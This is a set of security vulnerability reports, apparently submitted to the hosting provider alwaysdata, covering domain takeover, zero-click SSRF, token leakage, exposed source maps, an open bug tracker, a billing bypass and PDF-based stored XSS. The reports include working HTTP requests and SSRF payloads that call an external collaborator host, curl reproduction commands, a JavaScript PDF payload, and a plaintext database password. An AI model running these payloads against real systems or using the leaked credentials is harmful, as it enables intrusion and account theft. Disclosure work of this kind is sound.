There is a logical flaw in the domain transfer system within the AlwaysData platform. Creating a Mailing List and then creating a User with Administrator privileges within the domain before sending a transfer invitation causes the transfer invitation to remain pending even after it has been accepted and the domain has actually been transferred.

This flaw allows the attacker account (B) to retain an active transfer invitation that can be used later to take over the domain from any other account that received the domain (victim C).
Consequently, the attacker can regain full control of the domain even though they are no longer the owner, resulting in complete control over:

Email accounts

Mailing Lists

DNS settings

Users and permissions

Any data created by the victim

This represents a critical flaw in ownership control.

—

Steps to Reproduce

1. Setup (Account A)

1. Create a new Domain in your account A.

2. Within the domain:

Create a Mailing List.

Create a User and grant Administrator privileges.
(This step is the primary cause of the flaw.)

3. After that, send a domain transfer invitation to your second account B.

—

2. First Transfer (A → B)

4. From account B:

Accept the transfer invitation.

5. The domain is transferred to B normally,
but the original invitation remains pending in account B despite the transfer being accepted.

—

3. Second Transfer (B → C “Victim”)

6. From account B (which still holds the pending invitation):

Send a transfer invitation to the victim account C.

7. From the victim account C:

Accept the invitation.

8. The victim starts using the domain normally (emails, mailing lists, DNS settings…).

—

4. Final Takeover (from Account B)

9. Return to account B.

You will find that the old transfer invitation is still pending acceptance.

10. Accept the pending invitation.

11. The domain fully returns to account B with all victim data and content, without any notification or additional permission.

POC: https://admin.alwaysdata.com/support/90473/

—

Impact

Full domain takeover.

Access to all existing email accounts.

Control over victim’s email-related accounts and mailing lists.

Full unauthorized access.

Highly critical (Critical).

Proposed Classification:

Severity: Critical – P1

Vulnerability Type: Logic Flaw + Broken Access Control

—

Suggested Fixes

1. Automatically cancel any pending transfer invitations once the domain transfer is accepted.

2. Enforce a single active transfer state, preventing more than one pending invitation for the same domain at a time.

While performing security research on alwaysdata services, i identified a Server-Side Request Forgery (SSRF) vulnerability at webmail.alwaysdata.com.

When i send an HTML email containing <link rel="stylesheet"> tags to a webmail user, and they preview the message, your server fetches those URLs server-side using GuzzleHttp. i was able to confirm that this is a 0-click vulnerability by directly calling the preview endpoint with _safe=1 parameter, the SSRF triggers automatically without the user clicking “Allow remote resources”.

This allows an attacker to make your server issue HTTP requests to arbitrary URLs, including internal network resources. i was also able to confirm content exfiltration.
Impact

An attacker can force the server to make HTTP requests to internal network services, perform port scanning, and potentially exfiltrate sensitive data from internal endpoints.
Proof of Vulnerability

i set up a Burp Collaborator listener and sent an email with a malicious <link> tag pointing to my collaborator domain. When i previewed the email with _safe=1, i received an HTTP request from your server, this IP 185.31.40.185 belongs to alwaysdata infrastructure:

WHOIS Data:

inetnum:    185.31.40.0 - 185.31.43.255
netname:    FR-ALWAYSDATA-20130719
descr:      ALWAYSDATA SARL
country:    FR
org:        ORG-AS291-RIPE
ASN:        AS60362

This confirms the HTTP request originated from your server, not from my browser.
PoC
Step 1: Send Malicious Email

POST /roundcube/?_task=mail&_action=send HTTP/2
Host: webmail.alwaysdata.com
Content-Type: application/x-www-form-urlencoded
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
X-Roundcube-Request: M1HcH0yTzJMkS4Fa6ltUw9tD4Z4iFaH9

_token=M1HcH0yTzJMkS4Fa6ltUw9tD4Z4iFaH9&_task=mail&_action=send&_id=104032622669b7340a72208&_from=70213&_to=payload-life@alwaysdata.net&_subject=Test&_is_html=1&_message=%3C!DOCTYPE+html%3E%3Chtml%3E%3Chead%3E%0A%3Clink+rel%3D%22stylesheet%22+href%3D%22http%3A%2F%2Fm3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com%2Fssrf-poc.css%22%3E%0A%3C%2Fhead%3E%3Cbody%3ESSRF+Test%3C%2Fbody%3E%3C%2Fhtml%3E

Decoded email body:

<!DOCTYPE html>

<head>
<link rel="stylesheet" href="http://m3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com/ssrf-poc.css">
</head>
<body>SSRF Test</body>

Step 2: Preview Email with _safe=1

GET /roundcube/?_task=mail&_framed=1&_uid=8&_mbox=INBOX&_safe=1&_action=preview HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/html

The _safe=1 parameter bypasses the “Allow remote resources” prompt. The response contains modcss links that trigger the SSRF.
Step 3: Trigger SSRF via modcss

The preview response contains links like:

<link rel="stylesheet" href="./?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css">

When this modcss URL is fetched, the server makes the SSRF request:

GET /roundcube/?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&_c=message-htmlpart1&_p=v1 HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/css

This request causes the server to fetch the attacker’s URL server-side using GuzzleHttp.
Step 4: Internal Enumeration (Optional)

To target internal services, use this email body:

<!DOCTYPE html>

<head>
<link rel="stylesheet" href="http://127.0.0.1/">
</head>
<body>Internal enumeration</body>

Steps to Reproduce

  Login to webmail.alwaysdata.com with a valid account
  Generate a Collaborator payload or webhook
  Send an HTML email to yourself with a malicious <link> tag (see Step 1)
  Preview the email with _safe=1 parameter (see Step 2)
  Fetch the modcss URL from the preview response (see Step 3) - this triggers the SSRF
  Check your Collaborator for incoming HTTP requests from 185.31.40.185

Results
1. Collaborator Received HTTP Request from the Server

When i triggered the SSRF, my Collaborator received this request:

Timestamp: 2026-03-15T22:18:55.739Z
Client IP: 185.31.40.185
User-Agent: GuzzleHttp/7
Request: GET /ssrf-poc.css HTTP/1.1
Host: m3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com

If this was my browser making the request, the User-Agent would be Mozilla/5.0… and the IP would be my home IP. Instead, it’s GuzzleHttp/7 from 185.31.40.185.
2. Content Exfiltration

When i send an email with a <link> tag pointing to a CSS file (e.g., the Roundcube skin CSS), the server fetches it and returns the full content:

Request:

GET /roundcube/?_task=utils&_action=modcss&_u=tmp-da2506570833332561f753a8e4264709.css&_c=message-htmlpart1&_p=v1 HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/css,*/*;q=0.1

Response:

HTTP/2 200 OK
Server: nginx
Date: Sun, 15 Mar 2026 23:08:11 GMT
Content-Type: text/css;charset=UTF-8
Via: 1.1 alproxy

#messagehtmlpart1 #v1filtersetslist td.v1name:before,
#messagehtmlpart1 #v1filterslist td.v1name:before,
#messagehtmlpart1 #v1identities-table td.v1mail:before,
#messagehtmlpart1 #v1message-header .v1header-links a:before,
… [truncated - full CSS content exfiltrated]

3. Internal Network is Reachable

When i target internal IPs like 127.0.0.1 or external Collaborator URLs, the server connects and returns “Invalid response” however requests are still being sent internally:

Request:

GET /roundcube/?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&_c=message-htmlpart1&_p=v1 HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/css,*/*;q=0.1

Response:

HTTP/2 404 Not Found
Server: nginx
Date: Sun, 15 Mar 2026 23:08:25 GMT
Content-Type: text/html; charset=UTF-8
Via: 1.1 alproxy

Invalid response returned by server

Description:
After logging into my account via SSH and running `df -h`, I can see multiple mount points such as /home/<username> that are not associated with my account. These seem to correspond to other users hosted on the same infrastructure.

Steps to reproduce:
1. Connect to the SSH environment
2. Run: df -h
3. Observe multiple /home/<user> mount points listed

Impact:
This may allow user enumeration and reveals internal structure of the multi-tenant environment. While I did not attempt to access any other user data, the visibility of these mounts could potentially aid further attacks if combined with other vulnerabilities.

Notes:
- No attempt was made to access, modify, or interact with other users’ data
- This report is based on observation only
- observed about ~450 users information was available

Request:
Please confirm whether this behavior is expected and whether additional isolation measures are in place.

When a new user registers at www.alwaysdata.com/fr/inscription/, the server issues a redirect to:
https://admin.alwaysdata.com/login/?user_id={ID}&expiration={TS}&token={HMAC}

This auto-login URL contains a full authentication token in the query string. The admin panel embeds Matomo analytics (tracker.alwaysdata.com, site ID 5) which calls trackPageView(), sending the complete URL — including the authentication token — to the Matomo analytics server. The token is replayable within a ~10-minute window.

## Severity: Medium (CVSS 5.3)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE-598: Use of GET Request Method With Sensitive Query Strings

## Steps to Reproduce

### 1. Register a new account
Navigate to https://www.alwaysdata.com/fr/inscription/ and create a new account.

### 2. Observe the redirect URL with token
The response is a 302 redirect to:
Location: https://admin.alwaysdata.com/login/?user_id=447830&expiration=1773913147&token=1773912547-4daaa78c707abdeb31fb

### 3. Verify Matomo tracking on the landing page
curl -s 'https://admin.alwaysdata.com/login/' | grep -A5 'Matomo'

The page contains:
var _paq = window._paq = window._paq || [];
_paq.push(['trackPageView']); // Sends full document.location.href including token
_paq.push(['setSiteId', '5']);
_paq.push(['setTrackerUrl', u+'matomo.php']);

### 4. Verify token replay
curl -c replay-cookies.txt 'https://admin.alwaysdata.com/login/?user_id=447830&expiration=1773913147&token=1773912547-4daaa78c707abdeb31fb'
A valid session cookie (sessionid) is set when token is within expiration window.

## Attack Scenario

1. Attacker compromises the Matomo analytics database
2. Queries for page views matching /login/?user_id=*&token=*
3. Filters for tokens with expiration timestamps in the future
4. Replays auto-login URLs to hijack newly-registered accounts

## Impact

- Account takeover: Any valid auto-login token can be replayed
- Token leakage: Matomo logs, analytics DB, browser history, browser extensions
- Scale: Affects every new registration on the platform

## Limitations

- Token has ~10-minute expiration window
- Exploitation requires access to Matomo database or server logs

## Remediation

1. Use POST-based auto-login instead of GET parameters with tokens in URL 2. Strip sensitive query parameters before Matomo tracking: _paq.push(['setCustomUrl', window.location.pathname]);
3. Implement single-use tokens invalidated after first use

25 JavaScript source map files (.js.map) are publicly accessible on static.alwaysdata.com without authentication. These contain the original, unminified source code totaling 410,699+ characters across the admin panel modules, including:

- Internal API endpoint patterns and CSRF handling logic
- Feature flag names and conditional logic
- Reseller module business logic
- Template file paths and component structure
- Permission system implementation details
- Support ticket system leaking data to languagetool.org

## Severity: Medium (CVSS 5.3)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE-540: Inclusion of Sensitive Information in Source Code

## Steps to Reproduce

### 1. Download the admin panel core source map (605 KB)
curl -s -o core.js.map 'https://static.alwaysdata.com/aldjango/administration/core-Iu2w3-Ub.js.map'
wc -c core.js.map
# 605039 bytes

### 2. Verify it contains original source code
cat core.js.map | python3 -c "import json,sys; d=json.load(sys.stdin); print('Sources:', len(d.get('sources',[])), 'Files'); print('Content length:', sum(len(s) for s in d.get('sourcesContent',[])) if s))"

### 3. Accessible source maps (sample)
https://static.alwaysdata.com/aldjango/administration/main-D6bqDpvz.js.map https://static.alwaysdata.com/aldjango/administration/core-Iu2w3-Ub.js.map https://static.alwaysdata.com/aldjango/administration/ui-permissions-DpuZ1RMH.js.map https://static.alwaysdata.com/aldjango/administration/ui-ticket-BVXE_RGY.js.map https://static.alwaysdata.com/aldjango/administration/reseller-DPWgpuvi.js.map https://static.alwaysdata.com/aldjango/administration/ui-account-list-CaFjNbCY.js.map https://static.alwaysdata.com/aldjango/administration/sepa-e5qTgeYD.js.map https://static.alwaysdata.com/aldjango/administration/forms-ChhNVii8.js.map https://static.alwaysdata.com/aldjango/administration/ui-reseller-0hFmHN89.js.map https://static.alwaysdata.com/aldjango/administration/ui-server-BejAFuIr.js.map https://static.alwaysdata.com/aldjango/administration/website/main-CbRxCCzg.js.map

## Attack Scenario

1. Attacker downloads all 25 source maps
2. Reconstructs the complete admin panel client-side application
3. Identifies API endpoint patterns, authentication flows, CSRF handling
4. Maps feature flags and conditional code paths
5. Discovers support ticket system sends text to languagetool.org/api/v2/check (third-party data leak)
6. Uses internal knowledge to craft targeted attacks against admin panel

## Impact

- Full source code exposure: 410K+ characters of unminified admin panel code
- Reconnaissance advantage: API patterns, auth logic, permission checks exposed
- Third-party data leak: Ticket system sends content to external API - Internal architecture knowledge: File paths, component structure revealed

## Remediation

1. IMMEDIATE: Remove source map files from production static asset server
2. Disable source map generation in Vite production build: build.sourcemap = false
3. If needed for error tracking, use Sentry source map upload API (server-side only)

The Flyspray security bug tracker at security.alwaysdata.com publicly exposes 265 vulnerability reports without authentication. The exposed data includes:

1. Full PoC details for reported vulnerabilities (SSRF, OAuth ATO, XSS, etc.)
2. Plaintext credentials (phpMyAdmin: projets_baltic / LouisCelestin004@# in  FS#100 )
3. 132+ downloadable PoC attachments via sequential ID enumeration
4. Admin-researcher conversations revealing internal infrastructure details
5. Researcher identities (usernames for all 265 reports)
6. .git repository metadata exposing admin email (cbay@alwaysdata.com), 941 source file paths
7. Real-time vulnerability pipeline monitoring via RSS feed

## Severity: Critical (CVSS 9.1)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWE-200: Exposure of Sensitive Information

## Steps to Reproduce

### 1. Access the task list (no authentication required)
curl -s 'https://security.alwaysdata.com/?do=tasklist&status[]=open&status[]=closed'
Returns all 265 vulnerability reports with titles, assignees, status, and reporter names.

### 2. Read a vulnerability report with plaintext credentials
curl -s 'https://security.alwaysdata.com/task/100'
 FS#100  contains phpMyAdmin credentials: Username projets_baltic, Password LouisCelestin004@#.

### 3. Read a full SSRF PoC with internal IP
curl -s 'https://security.alwaysdata.com/task/307'
 FS#307  contains: complete SSRF exploit chain targeting Roundcube webmail, internal IP 185.31.40.185, GuzzleHttp user-agent, 0-click exploitation via _safe=1 parameter.

### 4. Subscribe to real-time vulnerability feed
curl -s 'https://security.alwaysdata.com/feed.php?feed_type=rss2&project=1'
RSS feed delivers new vulnerability reports as they are submitted — before patches are deployed.

### 5. Download PoC attachments by ID enumeration
curl -s -o poc_screenshot.png 'https://security.alwaysdata.com/?getfile=130'
IDs 1 through 132 are accessible.

### 6. Access .git repository metadata
curl -s 'https://security.alwaysdata.com/.git/config'
curl -s 'https://security.alwaysdata.com/.git/logs/HEAD'
Reveals: remote origin, admin identity (Cyril Bay, cbay@alwaysdata.com), 941 source file paths.

## Attack Scenario

1. Attacker discovers security.alwaysdata.com via subdomain enumeration
2. Browses task list to find OPEN/ASSIGNED bugs (currently 12 assigned = unpatched)
3. Reads  FS#307  to get a complete SSRF exploit chain with internal IP
4. Downloads all 132 PoC attachments
5. Extracts phpMyAdmin credentials from  FS#100  6. Subscribes to RSS feed to monitor new reports in real-time
7. Weaponizes unpatched vulnerabilities during the window between report and fix

## Impact

- Credential exposure: Plaintext database credentials accessible to anyone
- Vulnerability weaponization: Full PoCs for unpatched vulnerabilities
- Intelligence gathering: Internal IPs, server architecture, admin identities
- Persistent monitoring: RSS feed provides real-time vulnerability intelligence

## Additional Findings
- Weak CSP: script-src 'self' 'unsafe-inline' 'unsafe-eval'
- Outdated JS: Prototype.js 1.7 and script.aculo.us 1.9.0 (2010)
- PHP path disclosure in registration errors
- Session cookie missing Secure and SameSite flags
- Flyspray 112 commits behind upstream

## Remediation

1. IMMEDIATE: Restrict access to security.alwaysdata.com — require authentication
2. IMMEDIATE: Block .git directory access at web server level
3. IMMEDIATE: Rotate exposed credentials (audit all 265 tasks)
4. SHORT-TERM: Disable public self-registration
5. SHORT-TERM: Update Flyspray (112 commits behind upstream)
6. MEDIUM-TERM: Implement proper CSP, add Secure/SameSite cookie flags

Steps to Reproduce: Log in to your Alwaysdata admin account.

Open Burp Suite (or any HTTP proxy) and intercept the request when adding a new user or permission via the /permissions/add/ endpoint.

Send this request to Intruder (or any automation tool).

Set a payload position on the email parameter (e.g., email=victim%2Bpayload@example.com).

Configure the payloads to generate 100 different email addresses (using %2B addressing or random strings).

Start the attack. Send all 100 requests without any delay.

Observe the responses.

Check your email inbox associated with the payload email addresses.

Proof of Concept : Intruder Results (Attached Image ): The attached screenshot shows that 100 requests were sent. All returned a 302 Found status code with identical response lengths. No rate limiting (e.g., 429 status) was observed.

Confirmation Email (Attached Image ): The second screenshot shows an email received from Alwaysdata titled "Profile initialization…" confirming that a new user/profile was created or permissions were granted due to the automated requests. This proves the vulnerability has a real impact.

Impact: An attacker can automate the creation of hundreds of user accounts or grant permissions to existing accounts.

This can lead to denial of service (filling the database), account takeover, and privilege escalation.

The lack of rate limiting makes it trivial to brute-force or enumerate valid user addition processes.

Suggested Fix:

Implement strict rate limiting on the /permissions/add/ endpoint (e.g., max 5 requests per minute per user/IP).

Implement CAPTCHA for sensitive actions like adding users.

Ensure proper function-level access control checks are performed for every request.

I would like to report a security issue identified while testing authenticated account behavior through the API within my own alwaysdata account.

Name of vulnerability:
Authenticated API allows direct modification of account product reference resulting in premium-tier subscription state before payment workflow completion

Description:
While testing within my own alwaysdata account and using an API token generated through the administration interface, I observed that the authenticated account update endpoint accepts direct modification of the `product` field associated with an existing account object. When a valid premium product identifier is submitted through the account PATCH endpoint, the API accepts the change and updates the account object immediately.

After the modification is accepted, the subscription object reflects the new premium-tier product and corresponding pricing, and the administration interface displays the upgraded subscription together with the associated infrastructure values. During verification, this state appeared before any payment method was configured and while the billing section continued to show zero balance and no recorded transaction.

The observation may indicate that product assignment through the API is applied before the full subscription payment workflow is completed, or that additional validation is intentionally deferred. Because the behavior affects subscription state, API object values, and visible infrastructure allocation simultaneously, I am reporting it for review to confirm whether this is expected across all account states.

Steps to reproduce and proof of concept:
First, an API token was created from the administration interface and used with HTTP Basic authentication.

The initial account state was verified through:

curl -u "342d00dc" "https://api.alwaysdata.com/v1/account/"

The response showed the account associated with its original product identifier, corresponding to the initial assigned plan. This state is attached in image 01_api_original_product_state.png.

Next, the account object was updated using:

curl -u "342d00dc" -X PATCH "https://api.alwaysdata.com/v1/account/463*/" -H "Content-Type: application/json" -d '{"product":2011}' The API accepted the modification successfully. The accepted request is attached in 03_api_patch_request_accepted_http204.png. A follow-up request to the same account endpoint returned the updated product reference: curl -u "342d00dc" "https://api.alwaysdata.com/v1/account/463*/"

The updated response is shown in 02_api_product_changed_to_premium.png.

The subscription endpoint was then queried:

curl -u "342d00dc" "https://api.alwaysdata.com/v1/subscription/"

The returned subscription object reflected the premium-tier product with corresponding price and expiry information, shown in 04_subscription_price_updated_without_payment.png.

The administration interface then displayed the premium plan under subscriptions, visible in 05_ui_premium_subscription_active.png.

The usage dashboard displayed the associated premium resource values, including increased disk, RAM, and CPU allocation, visible in 06_ui_infrastructure_resources_allocated.png.

The payment section showed no configured payment method in `07_no_payment_method_configured.png`, while billing remained at zero balance with no transaction shown in 08_billing_balance_zero_no_transaction.png.

All verification was performed only on infrastructure attached to my own account.

Impact:
The observed behavior suggests that authenticated modification of the account product reference may allow premium subscription state to be reflected in account configuration before billing validation is finalized through the standard subscription workflow.

Because the updated product is visible both through API responses and in the administration interface, and because premium resource values appear in the usage view during the same state, this may represent an authorization consistency issue between account configuration and billing enforcement.

I am not asserting unintended abuse, only reporting that the technical sequence appears to permit product state transition before payment-related confirmation becomes visible in the account.

Vulnerable HTTP Request and Response:

Request:

PATCH /v1/account/463*/ HTTP/1.1
Host: api.alwaysdata.com
Content-Type: application/json
Authorization: Basic <token> {
"product": 2011
} Response: HTTP/1.1 204 No Content Verification request: GET /v1/account/463*/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic <token>

Verification response excerpt:

{
"id": "…",
"product": {
"href": "/v1/product/2011/"
}
}

Subscription verification response excerpt:

{
"product": {
"href": "/v1/product/2011/"
},
"price": "165.000000000000000"
}

Remediation:
A possible mitigation would be to validate product changes server-side against the expected subscription and billing workflow before allowing direct modification of the account object through the public API. Premium product identifiers could either be restricted from direct account PATCH operations or accepted only after confirmation that the account is already eligible for the requested subscription state through the intended billing path.

Another possible approach would be to separate product object updates from actual infrastructure activation until billing confirmation is complete.

Please let me know if any additional details would be helpful.

Best regards

I believe I have reproduced a stored XSS via file upload in the support ticket feature at admin.alwaysdata.com, which appears similar to your previously reported tasks  FS#63 ,  FS#131  and  FS#195 .

Summary Feature: Support ticket creation (/support/add/) on admin.alwaysdata.com.

Vector: Malicious PDF attachment with embedded JavaScript (created using JS2PDFInjector).

Impact: When a staff member opens the attached PDF from the ticket page, JavaScript executes in the context of admin.alwaysdata.com.

Steps to reproduce Log in to the admin panel and go to Support → Open a new ticket (https://admin.alwaysdata.com/support/add/).

Fill in Object/Subject/Message with any values (I also tested some filtered HTML/Markdown payloads which were correctly neutralized).

Attach a PDF named js_injected_poc.pdf containing embedded JS such as:
app.alert("DJH4CK3R");
app.alert("XSS");

Submit the ticket (I used a normal submission; using Content-Encoding: gzip also works but is not required).
​
Open the ticket in the support inbox: https://admin.alwaysdata.com/support/92563/#Bottom.

Click the attachment link js_injected_poc.pdf, which points to for example:
https://admin.alwaysdata.com/support/92563/427563-js_injected_poc.pdf.
​
The PDF is rendered and the embedded JavaScript executes, showing alert dialogs “DJH4CK3R” and “XSS” coming from admin.alwaysdata.com.
​

Notes about prior reports I noticed that very similar issues have been reported before:

 FS#63  – Stored XSS Via Upload Document
 FS#131  – Stored XSS by PDF in Support inbox
 FS#195  – Stored Cross‑Site Scripting (XSS) via File Upload in Support Ticket Feature

My PoC demonstrates that as of March 13, 2026 this vector is still exploitable via PDF attachment and direct view in the support interface. I’m fully aware this might be treated as a duplicate / regression and I’m not reporting it with bounty expectations; I mainly wanted to flag that the mitigation for those tasks may not completely cover PDF‑based payloads.

If you would like, I can provide:
The exact PoC PDF file
Burp request/response logs for the ticket submission
A short video showing upload → ticket → alert execution

Thank you for your time and for keeping the platform secure.

Cordially,
DJH4CK3R

Summary:
Alwaysdata SignUp feature is misconfigured with email parameter. Email address parameter is accepting % and %0d%0a character along with genuine email address. Using this technique alwaysdata user account can be created but cannot be verified as there is not possible to verify those invalid email accounts. Basically random use of invalid email address, attacker can create multiple accounts.

Description:
As email address field always being verified with any special character (except @ and .) but here email is accepting % and line termination char %0d%0a

Steps To Reproduce
1.SignUp with new alwaysdata account
2.Use email address adding with character like % or %0d%0a, account will be created and you will get a account validation

3.Even if you try now to login using same above email and password then you will get account validation message.
4.You can not use the same invalid email again, as it will show an error of reuse of that invalid email address

Impact
Garbage value can be stored in database using user account signup form
Multiple account can be created, just like if any use has real account with his email address, then also account can be created by adding %0d%0a or % char
Account is created using invalid email address, but can not be used

Thank You,

Waleed Anwar